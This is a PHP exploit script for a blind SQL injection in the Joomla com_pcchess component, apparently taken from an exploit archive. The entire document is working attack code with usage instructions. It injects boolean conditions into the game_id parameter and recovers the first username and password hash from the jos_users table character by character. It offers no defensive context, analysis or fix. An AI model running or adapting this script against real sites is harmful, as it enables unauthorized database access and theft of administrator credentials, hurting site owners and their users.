Joomla com_pcchess Blind SQL Injection

`<?php  
ini_set("max_execution_time",0);  
print_r('  
##############################################################################  
#  
# Joomla com_pcchess (game_id) Blind SQL Injection Exploit  
#  
# === Cyb3R-1st ===  
# [email protected]  
# == inject0r5 t3am ==  
#  
# usegae : php file.php "http://site/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1"  
#  
##############################################################################  
');  
if ($argc > 1) {  
$url = $argv[1];  
$r = strlen(file_get_contents($url."+and+1=1--"));  
echo "\nExploiting:\n";  
$w = strlen(file_get_contents($url."+and+1=0--"));  
$t = abs((100-($w/$r*100)));  
echo "Username: ";  
for ($i=1; $i <= 30; $i++) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$count = $i;  
$i = 30;  
}  
}  
for ($j = 1; $j < $count; $j++) {  
for ($i = 46; $i <= 122; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 122;  
}  
}  
}  
echo "\nPassword: ";  
for ($j = 1; $j <= 49; $j++) {  
for ($i = 46; $i <= 102; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 102;  
}  
}  
}  
}   
?>  
  
`